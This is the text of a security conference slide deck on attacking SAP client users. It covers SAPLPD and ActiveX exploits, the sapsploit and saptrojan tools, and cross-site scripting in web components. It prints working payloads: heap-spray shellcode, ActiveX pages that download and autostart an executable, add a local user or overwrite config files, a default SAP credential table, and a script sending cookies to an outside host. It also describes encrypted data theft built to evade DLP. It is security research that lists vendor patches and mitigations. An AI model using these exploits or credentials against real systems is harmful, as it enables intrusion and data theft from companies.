

SAP Security: Attacking SAP users with sapsploit

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Digital Security

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Information security consulting:

- Certification/ Compliance ISO,PCI,PA-DSS etc
- Penetration testing / security assessment
- Security software development
- Information security awareness center
- ERP security assessment.
- Research center





Who is that mustage-guy?

- 1. Work in the Digital Security (<u>http://dsec.ru</u>) company now as Director of Research and Audit Department
- Head of Digital Security Research Group (<u>http://dsecrg.com</u>)/ Council member of PCIDSS.RU (<u>http://pcidssru.com</u>)
- 3. Found a lot of **vulnerabilities in SAP, Oracle**, IBM... solutions
- 4. Wrote the **first Russian book about Oracle Database security** "Oracle Security from the Eye of the Auditor. Attack and Defense" (in Russian) (<u>http://www.dsec.ru/about/articles/oracle_security_book/</u>
- 5. One of the contributors to Oracle with metasploit project (http://www.metasploit.com/redmine/projects/framework/wiki/OracleUsage)
- 6. Speaker at **HITB** :),T2.fi, Troopers10, InfosecurityRussia, PCIDSSRUSSIA2010 Ruscrypto, Chaos Constructions (CC)

7. The main interests and activities:

- ERP and SAP security assessment / research
- Web application and **Database** security assessment / research
- Penetration testing / Security assessment
- Managing/Teaching Research group
- PCI DSS/PA-DSS assessment / Risk assesment



Intro

Business applications like ERP, CRM, SRM and others are one of the major topics within the field of computer security as those applications store business data and any vulnerability in those applications can cause a significant **monetary loss** or even stoppage of business.

Nonetheless people still do not pay attention to the technical side of SAP security.





- ERP systems have a complex structure (complexity kills security)
- Mostly available inside a company (closed world)
- Contain many different vulnerabilities in all the levels from network to application
- Rarely updated because administrators are scared they can be broken during updates



SAP Security



SAP Security: Pentester's view

Abstraction Levels

- Network
- OS
- Database
- Application (BASIS)
- Additional services (IGS,ICM, j2EE telnet)
- Client-side



SAP Security: Pentester's view

- Very Very Very Very Very huge area
- Impossible to describe it all in one hour
- You can start with:
 - Sap security Guides and Sap security notes
 - My previous talk "<u>Attacking SAP users with sapsploit</u>" from Troopers 2010
 - Mariano Nunez Di Croce presentations from BlackHat and HITB

http://www.troopers10.org/content/e728/e897/e910/TROOPERS10_Some_notes_on_SAP_security_Alexander_Polyakov.pdf




Real life situation:

During one of our sap penetration tests we found that SAP infrastructure was securely separated from users network so one of the possible ways to attack this network was getting access to users workstations which can get access to SAP servers



Why attack Users

- Users are less secure
- There are **thousands** SAP **users** in one company
- U can attack them even if Server is fully secured
- U can attack them from outside
- U can **use them as proxy** for attacking servers
- They are stupid)





Attacking SAP Users

SAP users may connect using :

- SAPGUI
- JAVAGUI (usually in NIX so don't touch this :)
- WEBGUI (Browser)
- RFC
- Applications such as VisualAdmin, Mobile client and many-many other stuff



Attacking SAP Users: First look, Data encryption

Soft	Password encryption	Data encryption	Mitigation
SAPGUI	DIAG (compressed and can be decompressed)	DIAG (compressed and can be decompressed)	SNC
JAVAGUI	DIAG	DIAG	SNC
WEBGUI	Base64	NO	SSL
RFC	XOR with known value	DIAG	SNC
Visual Admin	Proprietary encoding (vulnerable DSECRG-00124)	NO	SSL
Mobile Admin	NO	NO	SSL



SAP GUI overview

- SAP GUI Common application for connecting to SAP
- Very widespread almost at any SAP workstation in a company (hundreds or thousands installations)
- Don't have simple auto update (instead of MS products, AV, flash etc)
- Not so popular usually never updated or updated very rarely

In reality administrators even don't think that SAPGUI must be updated (just yearly functional updates maybe)



Attacking SAPGUI clients





Common Vulnerabilities

- SAP LPD overflows
- ActiveX overflows
- Other ActiveX vulnerabilities
- Sap shortcuts
- Clear Data/Password transmitting



SAP LPD Vulnerabilities

- Components for enabling printer options in SAP
- Multiple buffer overflow vulnerabilities by Luigi Auriemma (4 febrary 2008)
- Vulnerabilities were found SAPIpd protocol
- It allowed an attacker to receive the full remote control over the vulnerable system

According to our statistics of security assessments in 2009 about 30% of workstations are vulnerable

http://aluigi.altervista.org/adv/saplpdz-adv.txt



SAP LPD Vulnerabilities in details

• There are thousands of workstations in a company so you have a great chance that using Metasploit module db_autopwn you can exploit somebody

– – × Metasploit Exploit (12) ____/__/__ _1 =[msf v3.2-release -- --=[320 exploits - 217 payloads + -- --=[20 encoders - 6 nops =[99 aux [*] Started reverse handler [*] Trying target SAP1pd 6.28.0.1 (SAP Release 6.40)... [*] Sending stage (474 bytes) [*] Command shell session 1 opened (172.16.1.13:4444 -> 172.16.0.113:2827) Microsoft Windows XP [@¥àá"i 5.1.2600] (æ) é®à ®à æïi î 8ªà®á®äå, 1985-2001. C:\Program Files\S&P\FrontEnd\S&Pgui\S&Plpd> (running)



ActiveX Vulnerabilities

- There are about 1000 ActiveX controls installed with SAP GUI
- Any of them can potentially have a vulnerability
- User interaction is needed. (the link could be sent by e-mail, ICQ, fb, tweet.)
- The vulnerable component will be executed in the context of a browser of a victim which is frequently started under the administrative rights
- Using social engineering scenarios it can be about 10-50% of exploitation depending on ActiveX scenario and users awareness



ActiveX Vulnerabilities history

Date	Vulnerable Component	Author	Vulnerability	Link
04.01.2007	rfcguisink	Mark Litchfield	BOF	http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-enjoysap- stack-overflow/
04.01.2007	Kwedit	Mark Litchfield	BOF	http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-enjoysap-stack-overflow/
07.11.2008	mdrmsap	Will Dormann	BOF	http://www.securityfocus.com/bid/32186/info
07.01.2009	Sizerone	Carsten Eiram	BOF	http://www.securityfocus.com/bid/33148/info
31.03.2009	WebWiewer3D	Will Dormann	BOF	http://www.securityfocus.com/bid/34310/info
15.04.2009	Kwedit	Carsten Eiram	Insecure Method	http://secunia.com/secunia_research/2008-56/
08.06.2009	Sapirrfc	Alexander Polyakov (DSecRG)	BOF	http://dsecrg.com/pages/vul/show.php?id=115
28.09.2009	WebWiewer3D	Alexander Polyakov (DSecRG)	Insecure Method	http://dsecrg.com/pages/vul/show.php?id=143
28.09.2009	WebWiewer2D	Alexander Polyakov (DSecRG)	Insecure Method	http://dsecrg.com/pages/vul/show.php?id=144
07.10.2009	VxFlexgrid	Elazar Broad , Alexander Polyakov (DSecRG)	BOF	http://dsecrg.com/pages/vul/show.php?id=117
23.03.2010	BExGlobal	Alexey Sintsov (DSecRG)	Insecure Method	http://dsecrg.com/pages/vul/show.php?id=164
???	Kwedit	Alexander Polyakov, Alexey Troshichev (DSecRG)	Insecure Method	http://dsecrg.com/pages/vul/show.php?id=145
???	DSECRG-09-069	Alexey Sintsov (DSecRG)	Memory Corruption	Later or dsecrg.com
???	DSECRG-09-070	Alexey Sintsov (DSecRG)	Format String	Later or dsecrg.com
???	DSECRG-00173	Alexander Polyakov (DSecRG)	Insecure Method	Later or dsecrg.com



ActiveX Buffer Overflows

- The first example was found by Mark Litchfield in January, 2007
- Vulnerable components: kwedit and rfcguisink
- Later were found more BOF in SAP ActiveX controls
- Successful exploitation = full remote control
- For most of vulnerabilities exploits available



ActiveX Buffer Overflows in the 3rd party components

15.11.2007

- Elazar Broad published BOF exploit for ComponentOne FlexGrid ActiveX
- Vendor did not release any patches
- 26.11.2008
 - DSecRG found this component to be installed by default with SAP GUI and with SAP Business One Client
 - We posted it to SAP
 - SAP added killbit recommendations for SAP GUI (1092631)

08.07.2009

• SAP released patch for SAP Business One Client (sapnote 1327004)



ActiveX Buffer Overflows in 3rd party components (Example)

heap spray exploit for FlexGrid. attacker can run calc.exe for example:

```
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script language="JavaScript" defer>
 var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                      "&u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                      "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                      "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                      "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                      "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                      "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD"
                      "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                      "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18"
                      "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                      "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B"
                      "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                      "$u1004$u4403$u2424$u4489$u1C24$uC261$u0008$uC031$uF4EB$uFFC9" +
                      "$u10DF$u9231$uE8BF$u0000$u0000$u0000$u0000$u0000$u9000$u9000$u6163$u636C" +
                      "%u652E%u6578%u9000");
 var sSlide = unescape("%u9090%u9090");
 function tryMe()
  {var buffSize = 5200;
                                               [DSECRG-09-017] http://dsecrg.com/pages/vul/
   var x = unescape("%0c%0c%0c%0c");
   while (x.length<buffSize) x += x;
                                               show.php?id=117
   x = x.substring(0,buffSize);
```

fixed with security note 1092631 and 1327004



Advanced ActiveX Attacks

Buffer overflows is not the only one vulnerability in ActiveX components.

There are ActiveX controls that can:

- Download and exec executables such as Trojans
- Run any file/command
- Read/Write files
- Overwrite/Delete files
- Connect to SAP servers



Download and exec executables

attacker can upload trojan on a victim's PC and save it in autorun.

```
<html>
<title>DSecRG SAP ActiveX download and execute</title>
<object classid="clsid:2137278D-EF5C-11D3-96CE-0004AC965257"</pre>
id='test'></object>
<script language='Javascript'>
function init()
{
var url = "http://172.16.0.1/notepad.exe";
var FileName='/../../../../../../Documents and Settings/
All Users/Start menu/Programs/Startup/notepad.exe';
test.Comp Download(url,FileName);
</script>
                             [DSECRG-09-045] http://dsecrg.com/pages/vul/
DSecRG
                             show.php?id=145
</html>
```

fixed with security note 1294913 and a workaround provided with security note 1092631



Run any programm

attacker can run any program, such as add any user to victim's PC

```
<html>
<title>*DSecRG* Add user *DSecRG*</title>
<object classid="clsid:A009C90D-814B-11D3-BA3E-080009D22344"
id=`test'></object>
<script language='Javascript'>
function init()
{
test.Execute("net.exe","user DSecRG p4ssW0rd /add``,"d:\\windows\
\",1,"",1);
}
init();
</script>
DSecRG
</html>
[DSECRG-09-064] http://dsecrg.com/pages/vul/
show.php?id=164
```

fixed with security note 1407285



Overwrite any file

Attacker can overwrite any file such as SAP configuration file

```
<HTML>
<title>*DSecRG* delete config<title> <BODY>
<object id=test classid="clsid:{A76CEBEE-7364-11D2-
AA6B-00E02924C34E}"></object>
<SCRIPT>
function init()
{
File = "c:\WINDOWS\saplogon.ini"
test.SaveToSessionFile(File)
}
Init();
</SCRIPT>
</BODY>
</HTML>

[DSECRG-09-043] http://dsecrg.com/pages/vul/
show.php?id=143]
```

fixed with security note 1372153



Connect to SAP servers

There are also some attacks that don't use any vulnerabilities

- many ActiveX execute different SAP functions such as connecting to server
- Combining those methods an attacker can construct any attack
- In our example we use SAP.LogonControl for connection using RFC protocol and SAP.TableFactory for selection data from the tables
- Generated exploit connects to SAP server and selects critical data from SAP server



Connect to SAP server

Sub Main()

```
Set LogonControl = CreateObject("SAP.LogonControl.1")
Set funcControl = CreateObject("SAP.Functions")
Set TableFactoryCtrl = CreateObject("SAP.TableFactory.1")
call R3Logon
funcControl.Connection = conn
call R3RFC READ TABLE ("KNA1")
conn.Logoff
MsgBox " Logged off from R/3! "
End Sub
Sub R3Logon()
Set conn = LogonControl.NewConnection
conn.ApplicationServer = "172.16.1.14" IP or DNS-Name of the R/3 application server
                     ' System ID of the instance, usually 00
conn.System = "00"
conn.Client = "000" ' opt. Client number to logon to
conn.Language = "EN" ' opt. Your login language
conn.User = "SAP*"
                                       ' opt. Your user id
conn.Password = "06071992"
                                       ' opt. Your password
eQUERY TAB.Value = pQueryTab ' pQueryTab is the R/3 name of the table
TOPTIONS.AppendRow ' new item line
'TOPTIONS(1, "TEXT") = "MANDT EQ '000'"
If RFC READ TABLE.Call = True Then
   If TDATA.RowCount > 0 Then
      MsgBox TDATA(1, "WA")
   Else
      MsgBox "Call to RFC READ TABLE successful! No data found"
   End If
Else
   MsgBox "Call to RFC READ TABLE failed!"
End If
End Sub
```



ActiveX Attacks: sapsploit

sapsploit - tool for automatic sap clients exploitation using all kind of ActiveX vulnerabilities. Developed by DSecRG researchers:

Alexander Polyakov (@sh2kerr) architect

Alexey Sintsov (@asintsov) coding

- Perl generator for evil html page
- Modular structure
- Collect all described exploits
- 2 Payloads (exec command or upload saptrojan)
- jitspray exploit versions by Alexey Sintsov (beta)

Later on http://dsecrg.com/pages/tools

http://dsecrg.com/files/pub/pdf/Writing%20JIT-Spray%20Shellcode%20for%20fun%20and%20profit.pdf



ActiveX Attacks: sapsploit


You Got access to the client's OS what then?

- Obtain information about SAP servers
- Connect to SAP servers using default or stolen credentials
- Obtain critical data from SAP server
- Transmit it securely to attacker
- Something more



Saptrojan: Gathering info

- All connections to SAP servers stored in configuration file
- By default:
 - C:\WINDOWS\saplogon.ini
 - D:\WINDOWS\saplogon.ini
 - C:\WINNT\saplogon.ini
 - D:\WINNT\saplogon.ini
- From this file we get:
 - IP address
 - Instance ID
 - SID






Saptrojan: Connecting to SAP

- Try default passwords
- Try to read them from sapshortcuts (filetype *.sap on desktop or sapworkdir)
- Try to bruteforce (rfc brute is not locking before 6.20)
- Try to bruteforce 2 minutes before midnight ③ (login/failed_user_auto_unlock)
- Or upload keylogger

USER	PASSWORD	CLIENT
SAP*	06071992	000 001 066
DDIC	19920706	000 001
TMSADM	PASSWORD	000
SAPCPIC	ADMIN	000 001
EARLYWATCH	SUPPORT	066



Secure use of sap shortcuts http://www.basis2048.com/sap-gui-for-windows-security-execution-of-sapshortcuts-1344.htm



Saptrojan: Some fun

- We can simply sniff passwords if we are on victims pc
 - Using key logger (u can upload any one using downl&exec payload)
 - By sniffing traffic (data compressed by default)
- We can turn off data compression using variable TDW_NOCOMPRESS=1
- After it we can sniff passwords locally or by arpspoof if we in the same segment

This function is included in saptrojan (beta)



Saptrojan: Downloading Critical info

- After successful connection trying to download critical information:
 - Table usr02 all users + passwords (unfortunately in RAW format)
 - Table KNA1 table with data about all Customers
 - Table LFA1 table with vendor master data
 - Anything else u want 🙂

All this information must be presented to TOP's (CEO,CFO,CISO) to show the criticality of vulnerabilities. It is the goal of saptrojan



Saptrojan: Uploading it to attacker's sever

- After successful download we transfer data to attackers server (sapsploit):
 - Transfer is making using HTTP post requests
 - All information is encrypted on secret key to prevent any possible DLP solutions
 - Also it is encrypted to prevent possible interception
 - Decrypts on the server site and saves

JUST ONE CLICK FROM INSTALLING SAPSPLOIT TO GETTING CRITICAL INFORMATION FROM INSIDE THE COMPANY THAT USE SAP.



ActiveX Attacks: saptrojan

saptrojan - tool for gaining additional information from users workstations and attack SAP servers. developed by DSecRG researchers: Alexander Polyakov (@sh2kerr) architect Alexey Sintsov (@asintsov) coding

- Written on vbs and use SAP ActiveX controls
- Use different methods for getting credentials
- Download critical information
- Transfer it encrypted

Later on http://dsecrg.com/pages/tools/



SAPSPLOIT & SAPTROJAN



Attacking WEB clients



WEB Clients Attacks

- Many SAP systems transferred to the web
- For example SAP CRM, SRM, Portal
- There are also many custom applications (addons for SM)
- All those applications store many vulnerabilities
- Despite that vulnerabilities are found in WEB servers, most of the attacks are targeted at SAP clients.

Thus, speaking about safety of SAP-clients it is necessary to mention typical client-side vulnerabilities in web applications



Typical Attacks on SAP WEB Clients

- Linked XSS
- Phishing
- XSRF
- HTML Injection and Stored XSS
- Malicious file upload

All of those vulnerabilities possible in SAP



There was another real life example.

One company uses SRM system – supplier resource management system. This system was developed for automated tender management. Any company (and not only :) can register in that system and publish a tender information. This Application is visible from outside using web

You don't believe me?)



Attacking SAP SRM

- SAP SRM use cFolders web-based application for collaborative share of the information
- cFolders is integrated to SAP ECC,PLM,SRM,KM and cRooms
- If one user can get access to another data or to administrators console it is a critical vulnerability
- There are many ways to do this

So lets Begin!!!!



Start with simple Phishing

- Using XSS (DSecRG-08-038) it is possible to steal a user's credentials
- It is not a simple XSS because it is found on login page before auth. (it means we cannot intercept cookies)
- It injects code into page source after forms of input of a login and a password
- So we can rewrite standard entry fields with fake that will transfer the data entered by a user, on a attacker's site
- Need some time to make it clear))



Phishing

🖉 Logon - SAP Web Application Server - Windows Internet Explorer		
🚱 💽 👻 http://172.16.0.205:8001/sap/bc/gui/sap/its/webgui?sap-client=aaaaaaaa"> <tr%20style="padding-top:5px;"><td%20style="wic th="" 💟="" 🗙<="" 😏=""></td%20style="wic></tr%20style="padding-top:5px;">		
<u>Ф</u> айл Правка <u>В</u> ид <u>И</u> збранное С <u>е</u> рвис <u>С</u> правка		
😭 💠 🔤 🖅 Logon - SAP Web Application Server		🙆 * 6
	SAP NetWeaver [™]	
	SAP Web Application Server	
	A SSO ticket generation is deactivated. You can only logo	n through basic authentication.
	System	ERP
	Client *	aaaaaaa
	Users" onkeydown="checkKey2Login(event)">	
	Users *	
	Password *	
	Language	English 💙
		Accessibility
	Decis Authoritication Observe Decement	
	Basic Authentication Change Password	
	Copyright 2002-2004 SAP AG All Rights Reserved	SAP



Continuing with Linked XSS

There are so many XSS vulnerabilities in SAP.....

Greetz to our teem: alexey sintsov, dmitriy evdokimov, dmitriy chastuhin

Found more XSS <u>http://dsecrg.com</u> <u>http://onapsis.com</u> <u>http://cybcec.com</u>

+ may talk from troopers10





Continue with XSRF

- SAP MMR accessible from internet
- Vulnerable to DOS attack by sending a multiple packets with performance test request. (DSECRG-00125 previously reported)
- In new versions MMR needs authentication
- We can simply send URL to administrator and run DOS attack



Stored XSS's

1. Code injection in Bookmark creation option

It is possible to inject javascript code into Bookmark field on the page https://[site]/sap/bc/bsp/sap/cfx_rfc_ui/hyp_de_create.htm example link value:

http://test.com" onmouseover="alert(document.cookie)">
Theory where educide the test here was foldered existence for the second foldered exists will exceed the second foldered exists will exist will exceed the second foldered exists will exist will exceed the second foldered exists will exist will ex

Then when administrator browses for user folders script will execute.

2. Code injection document uploading area

It is possible to create a document with the file name including javascript code. example filename value:

aaa"><script>alert()</script>.doc

So using this vulnerabilities a user can steal cookie or upload sapsploit like he did in the first example.

http://dsecrg.com/pages/vul/show.php?id=114 [DSECRG-09-014]



Malicious file upload

- Much more interesting and critical vulnerability
- Cfolders engine allows to create HTML documents (and any other) containing any data and to place them in shared folders
- Any authenticated user (supplier) can inject malicious code in the portal page
- In simple scenario we can put cookie sniffer into shared folder and get access to purchaser session.
- More advanced scenario Insert Sapsploit into HTML document and obtain shell access :)

```
<html><script>document.location.href='http://
dserg.com/?'+document.cookie;</script></html>
```



ATTACKING WEB CLIENTS DEMO



Mitigations

- ✓ Many workstations (about 50%) still run on SAPGUI 6.4. Don't use
 SAPGUI 6.4 (there is no patches for some vulns)
- ✓ Patch SAPLPD
- ✓ Patch SAPGUI 7.1 for at least sp10 or set killbits as described in
- ✓ Don't click on untrusted links))
- ✓ Don't store password in shortcuts (HKCU\Software\SAP\SAPShortcut \Security EnablePassword=0)
- ✓ Check for rfc bruteforce patch
- ✓ Be sure to implement passwords lockout policies
- \checkmark Don't use option for automated users unlocking in midnight
- ✓ Securely use shortcuts

http://www.basis2048.com/sap-gui-for-windows-security-execution-ofsapshortcuts-1344.htm

- ✓ Patch cfolders and other WEB components
- ✓ Use antivirus software in Cfolders for file upload
- ✓ Teach users with security awareness programm

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


Conclusion

- ERP systems such as SAP is one of the main business element of any company
- In case of SAP we saw many problems in just one of **presentation levels**
- Client-site level is not less important than any other
- Problems are with **architecture**, **software** and **users mind**
- SAP **HAS** solutions for almost all possible security problems (patches, guides)
- But the number of these problems very huge, admins don't patch
- Better to start thinking about security before than after implementation.
- Need to control security periodically by security assessment or using tools like sapsploit&saptrojan and other

If u can have a **special skilled department** and work 24/7 – to secure SAP do this. If not – **keep it to professionals**





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